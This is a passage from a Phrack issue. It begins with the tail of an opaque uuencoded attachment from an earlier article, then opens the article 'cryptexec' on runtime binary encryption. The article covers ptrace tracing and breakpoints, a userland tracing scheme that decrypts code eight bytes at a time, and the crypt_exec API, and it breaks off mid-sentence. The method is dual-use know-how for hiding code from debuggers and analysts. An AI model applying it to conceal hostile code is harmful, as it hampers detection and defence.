MSL"_P>S11?%RR!\Q<F-$A)IOX.EZWG8$YYNK@$$N-;!G];P,\L\;.>^,X'QV
M<#3CKZ'PW<QXFPVSD#^V`B-^7@-7!$]IG*?B;^2KQ3T8O]6VBQ]TL<3P9Y`O
MK^?EM/U`AO*(IASR\>8>C+\;>/^4<F9>_R5<CJR-8[P_%'^/:<K50+D:*(>X
MT87@[PE-N0+@;04@0%JM:KEX_CU#4P[EUF-_U^FN#M-NH88.YD*YN5!N>?>N
MY9[2E$NX)"HZX1DU3UO.R\LAZ(D@9Q*AW)0PY9[EL$5R>90'Y>KY>&CQO%Q3
M'[JRQBQ@]T/K>UU3+@W*I9VGW%N:<OCR\$D+PO=CC:8<RN_)4.X77=?Q^(##
B>7P3-+'%@)]1:GEE+GRD89F:;RA7%P8>E;:5#[3%^ETF\/,R_^7/@4YR:DI
@V]T.L#L,=MOS++FW^B8D9=E^=_9QF#X#!\Z%+]3X;_V&SXWW3SXYF&ZU,%#
A@X>?O/P(<-N`OUQ^.";A^C$P?\W$.!R.#/MH*%:\VP%YCGG+_=[^:PS@P/?
_T,^3QDGW:[7JY0?`3.$KH#?#T5^.9#='PJS+5HW0-=7ET2\!?.&SH,RD!2E
/HK/6YQC*/-(]D&ZG,LZ@T;_IP\^"RGG/W0Z3%&<R6(^W5L'>9`PA&6QGO$T
S,>I[81\)^1APK,`MW&>I_`.E*4D4R&)G%<H>?=]Y\P)APOE^7F]#.:PR!K`
\F_,LV;=F)>3G(=J3XK#EC)$E:T(.ZA*`?FH?/I#^A.W76)TJCX0'])$?_[=
+^0^PI_`X4-9TP?2=1K]`#^*:+F"?R,^K^'V$(8C)4+"`RJOA`3HT_7]`W02
J=%5+M'<C]7H/,H'[:TX_ELX#U^]2J?*D$LO$H9U_/LSWL;3_+JWGEVOU.`0
KZLU\AJO[_XO]JX&NJKJ2M_WDQ#2(`$I_D#IXR<H0EX(*L80,$@NA*XHX2=H
%\T\\O.2&WG)"^\GP)0XT`@2'[%,Q18[<0R6<3'5F5)_$&>H#4(!%5T9I1:=
.&6Z6*ZD"29"P`#1S/[V.?>]>V\2BS\S:W6M@75S[MYGGWW.V6>?<\^[=W_W
2OI=2>=(>J>DWY+T,4G_3-(+I?ZIDO;(?+>D]\G\1R3])YD/FYQY0?RN'46C
4B[SWY;Y04GODN5U0_U*YA?*_&F2_EC2?9)^1=)W2EH?SYLDW2SI)Z7^/9)^
7-++)#U;RI^4]&\E/4RVY]>2OE_FKY?T,4E?(^G;)5THZ1V27B#IZRSE*_%H
W&`??76=+MOWOJ1OE_)_I"/[25W^&F$S@[X#BKY6"7JNQ3Y)-LO>@>9Q">;O
;"48*L73G8"WI$:_I:Y4>BM+JC<H(;_/O\X;4,1#.@6_7_QAGR(?AXDG.4I9
F2],OUR*<>.)>%6X\>X->7"?3"D+>KUK%+[%AM+X14-'%71S6D3%<?,*%09)
95G(Z_,AJZ2R6G_J5XQ?*EZEC$AJ`M]G+U/*2GS^H%?10OZJ(#5]'1[N>=?3
CY\R?F3C6;S$P[5Z</]+\7C070\N=R%/99%HC(_DJ'(OY997T@\JD>M1%N4M
OGN!9Y8[/7HV4ZQH5_/?,23?)L_$<T^;8?T;55$Q`JO,.)O@)3-M5U+DF)TF
/XE/$?,I+DGX31PM;C^@%'ZZ&BDI+D5*BY6&E!S%AY06PFJDM'"%D-)"MAXI
+4`;D=*"O`DI+:`/(:6)NPTIM6`[4G+P'4AI,=N)E!JX"RDM7(U(R;F:D-*B
O@<I+=1[D=)B_QQ26I#W(:4)\")26H@/(*6%^"!26@R;D=+"?@0I+=+'D=(B
?P(I3>P6I.2T)Y'2XGT**5T`6I'2Q4(\[VY;"CS"`?RYEBI__;#2?_L*DNA/
N?\%<:^F/P46TQAZ>1HWKE)@.0UY[2U,PX):,G_XCFE84L.EHWT?T["HANG3
WL0T+*OA'2#M.YB&A35X2_LFIF%I+0-T-=.PN(8'\OPI[OX46%[+!9W/-$9`
RP>=S31&0L/2TSZ3:8R(AI]T[2ZF,3(:.M2>S#1&2,/MR7:^,9>"D=*P1+0#
&M*?@A'3-G'_F<;(:=NX_TQC!+4=W'^F,9+:+NX_TQA1K8G[SS1&5MO+_6<:
(ZSMX_XSC9'6#G#_F<:(:\W<?Z8Q\MIQ[C_3\`"MA?O/-#Q!.\7]9QH>H9WF
_C,-S]#:N/],PT.T;NX_T_`4K9?[_QGH5AY_&_I/=/K9OZG_[[HSW?DKEFD[
&RDGC_XL7:FU[G0FM.%-I#TBYD&/89A,%Z/\2!WLLZ4Y9.]OX5"&'=%_P@\W
S>V$OX53=_MH?\:!V^,:]G-\1+/S%^#UOQ/-"G<<C8.X[?7#]1=%^=UY1)/^
B;RDT\GUQYQ3P.MOZ1BQP_@/L1HR4%W5XVISZ!K1=JT`B"'4[?[/H\'L49E<
R'0Q*%-G-8$%B&S'YT):!_537C/R=I+Y7C^L1P8GB6_W<3!=&7!Z:E]=;9\2
NC&B]AU5E`:UKU^ATTT92GC8,;5/?`*FSUA>[>4OG)!JJ>:[!C6K!J@)Y5I?
74)\%&/8M-J[N;87]Z'7Q=?5]BKA<;NKR;ZR:ZUHONTS81&U-Z+V<CN6UW6.
.:;R3^^ZVA[G@_:.21&U)U*88#M,J4--&/DJ`R87]?7W;W,TJ#W]2L=[_(FD
?XRV>4T?5XXZ0PS)YJ_C.*<DD4A;L7Q'1&9,?HY!/J&!3I1A'?'(XV;5'1FS
JC!J(BYP"Q?HH[XBJ&9I;+SN1@TS^L00DN#2F.;P<-FMCIM(:22;0P?Y+#D"
#)^S05CN<_YX25\]=5KM89/<M[GS)+_EK$>\[*Q;V)G]:(=X-;R`.K)"HP^,
YI:,$9QD<%H,\I&";LJ<UB+*=3O49$/11=SRGDA!3X/:;4MFI^=WMC;\!B\I
ZCO_;/WQ^BW`9M?WUF_)%]^QKW_MT)_C**T[_=V1SS[T.`2/J6T,5Q#?IJ)J
YJAC:A?2T"JA[`857W%/MH:'-FQ!0=F6;+;WY>@GKT*)]+=_Y)8[N,;NS4=@
&CVXZF9I'(SO4H,_7(GZ\,B'-@E,7_2S6`:GG7Q9F)Y.3_''4[HE]6^7N#(Y
R"LPR(M8MIN;]R8+PU>V-(>Q+*R%1`K>*"`^+]P^U<9]SQ:=ZD6AA;(RZKQ0
```

```
M'47B28$MEZ+??7\4^GY_*=JZ/U\2/OS/W$>67L=MZ(%AP_:.X>0[V=2DCO?A
MP,UV"#]'POSM9R%)$J"6$,6=B&<VM26).O%MO1.K+T4[T5$JBXSG(MP3]L&-
MW##.LHDV)X","4QG`6YF-9UV0/N_0KO=H#V>UX'.B-JIKP,Y9H^7@O)S(D.\
M'=#X/D"XO-I&:K'>Q;5?%)]3%40[$\(>O?KHL1T^_U2:I_?0:3M=&MC>GTIO
M$"+_R60G;#WR(9^#WRQ/9\5\U@GU]SFB,_1C%CY95WL2&?,<0S;]E&V0'NB-
MD.XAF-V\OO>*I9/-W`9.B&MJPX>9R0762&X5<>>H)VN6RFHC!6<:U#/]RIR"
M7EI<YT34,[2H-N3VXUL=!6VVUT;NMV7:P^_C$_3CMXCWQW2#&+-%5AYQ)I,5
M;NC83].W7VGGUZ'",*8F=J+JPY]B>%OT<DJ]>B+:=^YM7>TI&.45XWB>DA\F
MFZ.B?2M-5==E)=.5BYO?T6IMU!SUQ$:75&S-HYKQI@.U191MTH/:(VH+]3Y7
M&)';_'<7T)V66.ECSF1S![@_K*<]:]"^\TPX=A%9K+*35-ZIM@;L'=_7QT#O
MWGPZB]R38#L445LC!9VZ]2?C,T4%/;;7B.U0.T?N5[;9Q4`=53P-ZFGJPD'1
MDY<:U%9*'C<IWFCON$6(;\KPA*Z/*0.+E;$.H>%$=*[R;/AQ#[\FL6R(;G5?
M&'*T?R^RAG38ERB_04WJE_.RO;5/K`HF26Y#Y$(TQ]RXGU`&7SJ^)9LSD1G=
MS.!*DIG1R0QN57\/WKJ?$[V"RVW/4?6*8KY6[N_A/<(;6)<>Z.&E=HZ:1&-T
MVV[\L(/(\O.TYU"O;*J]DABF%3:)5MB^CC]@37[-44"&5:_`LK0YZB!;)_%H
M*='"*\_+G=KF3NS<:7_+U]1I1_@U3_#\?>]0W<?4/8)J$LE.D6R7F[Y6-._-
M\^+UI4]A/WR>EP$R>1UMQZ:)4]AS`>5&>*MT\!P/Z0@`EYGQ:S92@C,48U5?
$#!"FA1M?><85&[]Y"[>R(#U[+SX6%F6O'[FH1Z1=3[:%J$T]2(4'8^HQ['H
MQBIS7!"7KWHN>ARLS`L0/5A7>]`H^$&/$(RPX$'V3VMG]@^4.=L#9<W1W::L
M8RS7<81;"-.(MVTU<+D#[*%<;F^LP\S](W-?)&I3QBWAN4.8Y0_GA%E&2[/\
M.&:6UG-P_`/D%@M8R<3PG"&4_$0JT3?43\>4_$Q7PLU'W]5]Z)?8(/P+7.%%
MO'Y`/2)9!\#:S:R#DG48K$>9I>-,WP;KA\PZ(%GO@Z4Q:Z]DG0&K@%DO2E87
M6'<S:Y]D708KC5G/259<$['&,VN[9(T"ZU[VC.UEM%S;%3D\/V<[MXY\F;J`
MZ]LG_$:1#^IJ6Y6P<1<_'@H:SPE_O4S^FM?-5UA^G[Y)\@Y(!@R2DUBRA=9W
MB^0*2.:>B\V!WBY(-D;41HOD6DA.,$B^S9*[(NHNBV0$DCV?R#?27>:+#>\W
MNHVLD^S].HNWB8V,A3*Q=H$UIAO3=J\2FHB1(<9C7?IN:Z]P<RY9B7=!B--`
%W9JZI[-M7L0#?1@7/NS]NC:4E>[70G=(`8F`058!3O;1AJ>'?+<W86K5U,@
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
<:U&'(&.2^#8W4DB;M>*2]AKQ"70_BYK\N!X@U\9<0DDES.$W'XC+H'D\B8/
WH]_-^(2L%>=+&)#K>/1;,'EX.[;F<FQ.%BCOM]98E\A-Q@NX6V+7&]*+-92
,<3)?FB1RY^J*!F#S(]VB]RVF\SS5\_[U"*WE^3&#J)OE`4W\>K-1-L&QU<8
]P*-;O+QX2(&>:EAG@^WZ$O*H+4D_NIP&%BWQ-Y?2.5&:5&S%J5%#5AO!"U&
```

```
M!>N*H(77Z?M^AXQJ7A^EAPF;1&DQ"LU1>CC3F-^"%C]W3D=I&1']B$XG1?=9
M@A81TEE1^AJ!77E:IT<R7?J\3B>;?E\X9-1TU@LZ+:)A<Z*T6"#RHO08X3-1
M6OR*.A.EQUKBO:^ST-=;Z!LL](T6>IR%'F^AOV.A)YC&W:E\TI]LH:WYW[/0
M!19Z]5_(3_X+^=]T>YZRT,]8Z#]9Z`FV+Y;_NNVSZIMF$_M^<0U-4NZTU)]C
MB_F;C?QMF2WF;S;RM]6VF+_9R-\JB?8]K]/)REJB.="/Z;%*+9WD&^I[C.@=
M7U#_4T1G&^I_SB;N*>CUOV*+S1\;S9]CEO:\2W1W8TQ_N^W+V=\J_W7M;]67
M8C?3J18ZPV[&/RPF^O'MM*]A.DE98C?C(8KML?5B%/W'QZKM.YP)!4XAO]9N
MQDO4(6Z8[.^6^NKM9OS$S^UBO=+C[W?;S7B*%^RQ]2J9VGN$Z-L?=2:\91/Z
MWK";\1:M1&MZ^^S)2CO1B$%=)NN_1'0@XDS8)FF[PXS/&.,PXS-2'&9\1H8C
MMCZ/IO5YGL.,U\@G^@CU=XK4O])AQF^4.\SXC0T.,W[C$4=L?4?YOW>8\1R_
M<)CQ'"\1/:+!F7"SM,>K1-^WTYFP19;_'=&7J;__(.DW'69[_A?1",_-E?D?
M.\SX$`<U%(_A17N3E>'.V/J.\M\F&G&]5<-$^1N=9CS)'4YS?;E$CZ7VC)?U
MW6/(=Y'$_43/HOQLF5_H-.,M_,[8]6XT7>_"3C,^Y6&G&9_RA-.,3WG>:<:G
M''::\2GO6OKW`=$?R?D]VIZD?.*,7>]&T?5N6)P9SW(=T=V&\N/CS'B2&7%F
M?,O<.#.^)3_.C&\IMI0/QYGQ+5OCS/B6)^+,^)9?QIGM_YLX,][EA$5_:YP9
M[])E*I^L],69Q^.:>#/^99*%5K+P2Q1O5<$ORWE?X?Z(OZJLHMRM*5F@0ZD5
M5?.4HN**5/X)OORKW6]!>1(FI?C9[2[YO[JC%"M;ZBT+RNKQ:Y^:@#=<&?`R
MN&41#(7+RBC+XUFP8LDR3][BY2L\'J)R3-3W%D2):O=,A<Q=[?/B:5HZ99;Z
M/>4^?W&1S\.W"3Q%X?4*WTWPE(8K*S?HJM5[<V*:=6+ALOGWJ%$*U>CG,:TE
M4:U?Y\87HX.IHUY?6:H<$48E96?'D$+\1%\'-QDS/#G?OW?^/8L7*"7+J6:)
M<3(*A/$456%<DZE<6;5'6R=15J8,#X;$4Q0(%&WP`'95EN<O*I6H++-@:=#O
MT<BY?5X="D6]XN)*V=V!-06+JT(21&4LQV`L(T/"P4RZ^8:0>%QEY%>J#,;"
M,UDC6V#-3)4`(6;2*/Q*H,7,9?$<RE1VF7=MV!ND^BOP#D6E#,^US'81R@R=
MYO9&`6I&;:7Y?A8M#@9E,4:*#<".F4T+?88QX.>AN`$F5<"\BL"LF0<5MA<H
M.U./+,.?;@;!&449;V=D`/YFJL/+-^*HB;,S9KM)CZ>ZQ!/2PE5KW,7K%<^B
MO"5WS\_S+%FX\'_:.]K8-I+JQHH@-LU="O7Q<2<Q];75^KI*UDD<EWP<\=7;
M-M1)'-MM6MK(Y]CKKGV.;9PX[;5$RF$B-1A+QT>1CA^("@DAX`<_#G&<="A2
MD0ZAGE3!`17IC_P(DD\*4L55QR&UF/?>K..U20(2I1?!CC3>G9GW,3L?SS-O
M9MZ$E'`D['W.KT3H/%PCC4R<SO09(^G075/-X+G`AOJG\WS&&/UH85-K:"Q.
M_6Q@0XG@.J&Q0!J*7*_>QM-^>)*Q@>H6Y1\QU!%?A&Q(_MQ\)*A>0!MG^:/I
M*-HK:SXE:+K_-?L/_-&I7E(?(H^=[3_(;C27X)*[99?'W=?CZ4;[#VA3U;3_
M\`C<Z.=?)DU9*^G4ZV>HA_\-7#P]\-BG7W],>-7ZUO[76OQO[0^C:<5</GL!
ABVXQ0%W&TRK+%_(L&2&^<9#9)"OL[W=5K-O\(W/O'+U#V?^NEKSGSW^8/4.
/,.^OZW^GL+OKOZ.TMY;?0^>/SV^OOH;BK]/Z<%D3$.\YKP%%)@KM;0($S]7
O+6X->'QEH^T?*A!2?SUC^E*2:9_=0=78K8VZ7(IW5+?=T"`'<9GH\[[_7V0
A_]&A0&3JSLD\V4I07CJPWJ&VIJ4LOQ3UFKOSSX!=?AQF'?"LP+^C^!_#?YU
\-\'?\\N"'\'WP;O'P7_*?`'P'>"[P-_#/QY\''P>?"7P7\%_+=U=>(=?;/&
K"`L`IM%/&H-V5EL!X]WU$#Q+^[</;.TJ4YO5%'4LN8/3V\9CSO"X#^7%+'^
;.9"<JY`!BU9-!_3DO-H!99A(NY^\NI1:F8^&8UG;36],^[E^-*^8>%;^W@/
.%7:>&GC5[B1=^G$`[[-X\VE0?VMN-#6LO`D[HYOF]"^VS$L5.W#\%O\95O/
RCM/HW;C50CBY2W/M0:J=H&G+2_Y`+_X!OX*A2?QRNB]0>VU)O1UR$W*DA)*
!`W8@Y2TIU3&\$35?H3"K<N4K](UC`U6[;T\MD2QQ9460)1K@(/$EC)?L&LW
#0Q;@>$L;A+FQ%,MI6N('RP1#M"0"*RC5,;H">VV,;.;O$5.J[R$!YL#J9:J
78.8E)!J25FJ]C2\+R\-XT93?M0L\:9RUR)HY_="J=MSD)I85OZ2ZBB/WITH
71OF).>(0(G0(!N7((A:/@%M[:]071R!%-HY?`W?@F6ZQS%0*@_S4OHB<<4[
'(MOX&_U\2\7<9D`ZR\%2'Y$JJ`E$2Q;*K6`=@^0RF4_I_`\+_<Z\#@!MP:`
U0-BA70!<)'GM:'D&A*U]XU%_DX/Y*9GI?2GJ1LWJP<9)AT\`+_0XE)5K6,O
P-^"1AB_3N(LODR688H;+'1Z<EFM%-7[`I;P'L`X6VS?`,AJL?TN/JKV#FQU
[14(++=5[?LHM$ZAZY_`@/"]>Q"JW$""0WN`DU#8HZT@KOTII%=!#9WV3<SR
R_!300-EU]>0@'*[K-P.5-UW(%!6U@)EY6WPZU`U883^*OY<111<CZW:`\AM
=`UR45BK%MZN%M8K/[J/9X3D9>4.(/DQ7=DHM96LRZ.W`A,57/0X>_9&2:U4
"[>J=A^5R@GZ/8.T4?AJ=!OC)SEDS\J-&S<-KGJPC:!;.W;^!_N)O?Y^"][1
XL$/#'$5>'\>XDX8X@)/;&&P9Y?)T<E0=Z2GNS.>3@O"CRT7]6&_5S@54H*U
^%]8=,L?PBL6W>:(X+?HUD2$*0NW1O(UBV[Q1/BA13<N(L0MW#C)M(4;-9FT
<%,CW['H)DF$T=#IH\$PY_-;F#KA#/B$$#D3R\T=2Z9A*B&,6"A20(LDN0B?
R8`4%L[@[$*=P]DE[F*%_VI*`I09H0AID$V8V>1GHKC_-X_6?F#VFH+A6R01
3\YC;R9ZJ,*",88@9'DXP4,O<0J1:"X7P1W54#N8NYB:F].U`OD>0?B9`/B9
N7PVG<C]?X[_\[&NA\X#Q\,>MWN[\;^LC_][98_<)[M@GN!RRSVRP-SF^/^#
J/_I=+0S]K#K?X?Y'\S[/$WS/[?'+9OSOT?ANKK8@9'X`=O3=&]`7&6#J$3*
=FK/VFQXF0.*8]')KMBLQT;\"GLFH0W8K`F-#3%&HE]TD")9G9W+OAB)?J&0
=$C,<='A1"C^GR`F-(C2LNFHQ*8+:B8[R^)_CLXBR(+-5,#LOOZO7HKBLH3K
H0F!?]7_W7W-_;_/T^,R^_\'W/\;HM+)Z0:9P$1\@X%:3*+30^P9>)\_-^6\
8N-!U$-D04PX<OF".AV%>3A34VJL$$N^FSF?<0S8='F2&R":438D@\S@(H.)
CI#*M"B+X4@4)NGU*3Q)FTPLT_U"+U#A8@:X&&413ZW+H230VY_(.?&6IT(^
PY!/@M\2(U(N)<;'PWK0*;DD!O`(1F-B)O+012V9AD`4KYV1&7RI=<&8Y=EH
.JEFXME:OFBQ2N2K/1A19[^+Y-X6_5_7`<=RN4?3_[O[/"[L_V[9[>GK[?%`
_X>!H,?L_X^R_\,35Z.A@?>S6)IUC?I8K1TPAJFY:'Z.[J315`:-!AH*LVTA
-?#<&4)3IS"DP_P1EYBZ2;#D\M$+,U&F[WL70;9@9YVEF2L$',YM0'#^MP-(
Y@4U+SFZ4+!X_2/'Q_KE2WBFKFM4"1Y7^FE+_A#I1S>C\L:XD'(T/#(^UD]!
29D,LBX@,AY4^F%F<@0X&D9$VP@_VY4FL383NHQRC0/AV=^AL5-^OQ[!ST:>
```

```
MZW:[IP9L)*=`N`!1-LA<*%WJHJ59VPDB1F+$4YY"T6*0+=8%FU$F$L7Y<ZXI
M*+[\X>E&@?B?\4`-`(I&299"BG(2=QP@''PR,D<]@2XWN?:@)D4!$\7H$!-Y
MJ3CUVP]%0#SLJN</@)IRJ.MW=?G:F!\DBW\6P`40)2QXB6W*\4T2VZF%Z6,!
MYY^$OLTZ&?+ZO&$OPR>TE@&*">$*:"$GCGI/*I/C09_HDF2GQ`[I0(08&C]Z
M4@G3\<Z!S5#,$/3Z?,'(R!B;36::8F(49;,B,)047YP5O<<@30E+#$$CH7!0
M\8Y*3"9F@-`)GA;T.V?I`8@C8T31.W9VH`Z2B,XDTR]:L:<.,9VF(9DNFN*)
MM,@M]H(C'GA[I(AYD9A8RRW4WR'`@K_0Y&4UFQ#AW8F%R._&TJ%Y%NGO4W0Y
M;5:L5>P=`(QH^(4<&[^;ZC:9$,68_O5X7#4WMQ7C&'$^I)-Q.O%2O)&QT]#Y
M?1%>WL`,N/'CL%9FM3*N[Q)YUX.6"YV/&&X>FJVIS&H@CH-Q8^.H`^*.`)Y'
M20?EHP@=T2G)V\)3$\46RD$`:+.!-JU+U-KZ`K7Q73F",)WI3&<ZTYG.=*8S
8G>E,9SK3F<YTIC/=;G;_`+2>1G@`T`(`
`
end
```

|=[EOF]=---=|

Volume 0x0b, Issue 0x3f, Phile #0x0d of 0x14

```
|=-------=[ cryptexec: Next-generation runtime binary encryption ]=--------=|
|=-------=[              using on-demand function extraction      ]=--------=|
|=-------------------------------------------------------------------------=|
|=-----------------=[ Zeljko Vrba <zvrba@globalnet.hr> ]=------------------=|
|=-------------------------------------------------------------------------=|
```

ABSTRACT

Please excuse my awkward English, it is not my native language.

What is binary encryption and why encrypt at all? For the answer to this question the reader is referred to the Phrack#58 [1] and article therein titled "Runtime binary encryption". This article describes a method to control the target program that doesn't does not rely on any assistance from the OS kernel or processor hardware. The method is implemented in x86-32 GNU AS (AT&T syntax). Once the controlling method is devised, it is relatively trivial to include on-the-fly code decryption.

Note: Footnotes are marked by # and followed by the number. They are listed at the end of each section.

--[1.0 - Introduction

First let me introduce some terminology used in this article so that the reader is not confused.

o The attributes "target", "child" and "traced" are used interchangeably (depending on the context) to refer to the program being under the control of another program.

o The attributes "controlling" and "tracing" are used interchangeably to refer to the program that controls the target (debugger, strace, etc.)

--[2.0 - OS- and hardware-assisted tracing

Current debuggers (both under Windows and UNIX) use x86 hardware features for debugging. The two most commonly used features are the trace flag (TF) and INT3 instruction, which has a convenient 1-byte encoding of 0xCC.

TF resides in bit 8 of the EFLAGS register and when set to 1 the processor generates exception 1 (debug exception) after each instruction is executed. When INT3 is executed, the processor generates exception 3 (breakpoint).

    The traditional way to trace a program under UNIX is the ptrace(2)
syscall. The program doing the trace usually does the following
(shown in pseudocode):

```
fork()
child:   ptrace(PT_TRACE_ME)
           execve("the program to trace")
parent:  controls the traced program with other ptrace() calls
```

    Another way is to do ptrace(PT_ATTACH) on an already existing process. Other operations that ptrace() interface offers are reading/writing target instruction/data memory, reading/writing registers or continuing the execution (continually or up to the next system call - this capability is used by the well-known strace(1) program).

Each time the traced program receives a signal, the controlling program's ptrace() function returns. When the TF is turned on, the traced program receives a SIGTRAP after each instruction. The TF is usually not turned on by the traced program#1, but from the ptrace(PT_STEP).

    Unlike TF, the controlling program places 0xCC opcode at strategic#2 places in the code. The first byte of the instruction is replaced with 0xCC and the controlling program stores both the address and the original opcode. When execution comes to that address, SIGTRAP is delivered and the controlling program regains control. Then it replaces (again using ptrace()) 0xCC with original opcode and single-steps the original instruction. After that the original opcode is usually again replaced with 0xCC.

Although powerful, ptrace() has several disadvantages:

1. The traced program can be ptrace()d only by one controlling program.

2. The controlling and traced program live in separate address spaces, which makes changing traced memory awkward.

3. ptrace() is a system call: it is slow if used for full-blown tracing of larger chunks of code.

    I won't go deeper in the mechanics of ptrace(), there are available tutorials [2] and the man page is pretty self-explanatory.

__
#1 Although nothing prevents it to do so - it is in the user-modifiable portion of EFLAGS.
#2 Usually the person doing the debugging decides what is strategic.

--[3.0 - Userland tracing

    The tracing can be done solely from the user-mode: the instructions are executed natively, except control-transfer instructions (CALL, JMP, Jcc, RET, LOOP, JCXZ). The background of this idea is explained nicely in [3] on the primitive 1960's MIX computer designed by Knuth.

Features of the method I'm about to describe:

o It allows that only portions of the executable file are encrypted.

o Different portions of the executable can be encrypted with different keys provided there is no cross-calling between them.

o It allows encrypted code to freely call non-encrypted code. In this case the non-encrypted code is also executed instruction by instruction. When called outside of encrypted code, it still executes without tracing.

o There is never more than 24 bytes of encrypted code held in memory in plaintext.

o OS- and language-independent.

The rest of this section explains the provided API, gives a high-level description of the implementation, shows a usage example and discusses Here are the details of my own implementation.

----[3.1 - Provided API

No "official" header file is provided. Because of the sloppy and convenient C parameter passing and implicit function declarations, you can get away with no declarations whatsoever.

The decryption API consists of one typedef and one function.

```
typedef (*decrypt_fn_ptr)(void *key, unsigned char *dst, const unsigned
  char *src);
```

This is the generic prototype that your decryption routine must fit. It is called from the main decryption routine with the following arguments:

o key: pointer to decryption key data. Note that in most cases this is NOT the raw key but pointer to some kind of "decryption context".

o dst: pointer to destination buffer

o src: pointer to source buffer

Note that there is no size argument: the block size is fixed to 8 bytes. The routine should not read more than 8 bytes from the src and NEVER output more than 8 bytes to dst.

Another unusual constraint is that the decryption function MUST NOT modify its arguments on the stack. If you need to do this, copy the stack arguments into local variables. This is a consequence of how the routine is called from within the decryption engine - see the code for details.

There are no constraints whatsoever on the kind of encryption which can be used. ANY bijective function which maps 8 bytes to 8 bytes is suitable. Encrypt the code with the function, and use its inverse for the decryption. If you use the identity function, then decryption becomes simple single-stepping with no hardware support -- see section 4 for related work.

The entry point to the decryption engine is the following function:

```
int crypt_exec(decrypt_fn_ptr dfn, const void *key, const void *lo_addr,
  const void *hi_addr, const void *F, ...);
```

The decryption function has the capability to switch between executing both encrypted and plain-text code. The encrypted code can call the plain-text code and plain-text code can return into the encrypted code. But for that to be possible, it needs to know the address bounds of the encrypted code.

Note that this function is not reentrant! It is not allowed for ANY kind of code (either plain-text or encrypted) running under the crypt_exec routine to call crypt_exec again. Things will break BADLY because the internal state of previous invocation is statically allocated and will get overwritten.

The arguments are as follows:

o dfn: Pointer to decryption function. The function is called with the key argument provided to crypt_exec and the addresses of destination and source buffers.

o key: This are usually NOT the raw key bytes, but the initialized

